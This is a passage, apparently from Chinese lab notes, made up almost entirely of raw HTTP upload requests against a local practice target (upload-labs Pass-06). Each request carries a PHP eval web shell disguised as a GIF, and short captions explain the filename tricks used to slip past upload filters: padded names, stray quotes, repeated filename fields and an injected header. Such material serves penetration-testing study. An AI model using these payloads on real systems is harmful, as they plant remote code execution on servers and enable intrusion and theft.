aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

值匹配""的内容，后跟.php ：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 388
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="1".Php;
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

多个filename，绕过匹配：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 8864
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file"; filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.jpg" ;filename="x.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--

白名单绕过：

POST /upload/Pass-06/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:99.0) Gecko/20100101 Firefox/99.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: multipart/form-data; boundary=---------------------------256355090225943020492268668928
Content-Length: 435
Origin: http://127.0.0.1
Connection: close
Referer: http://127.0.0.1/upload/Pass-03/index.php
Upgrade-Insecure-Requests: 1
Sec-Fetch-Dest: document
Sec-Fetch-Mode: navigate
Sec-Fetch-Site: same-origin
Sec-Fetch-User: ?1

-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="upload_file";filename="Content-Disposition: form-data; name=upload_file;x.Php"
Content-Type: image/jpeg

gif89a
<?php @eval($_REQUEST['password']);?>
-----------------------------256355090225943020492268668928
Content-Disposition: form-data; name="submit"

上传
-----------------------------256355090225943020492268668928--